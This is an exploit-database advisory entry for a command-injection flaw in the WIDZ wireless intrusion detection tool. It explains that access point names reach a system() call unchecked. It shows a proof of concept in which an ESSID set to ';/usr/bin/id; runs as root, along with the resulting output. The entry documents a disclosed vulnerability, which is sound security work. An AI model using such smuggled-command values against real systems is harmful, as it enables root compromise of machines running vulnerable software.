WIDZ 1.0/1.5 - Remote Code Execution

Author: kf
type: remote
platform: linux
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date_added: 2003-08-23 
date_updated: 2016-12-05 
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source: https://www.securityfocus.com/bid/8479/info

WIDZ does not validate untrusted input when generating alerts. Alerts pass the essid of an unknown wireless access point through a system() call. By setting the essid of an unauthorized access point to include malformed information, the underlying operating system may be compromised.

Go to Apple Airport and set network name to ';/usr/bin/id;

This will generate the following message:
unknown AP essid=
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh: -c: line 3: unexpected EOF while looking for matching `''
sh: -c: line 4: syntax error: unexpected end of file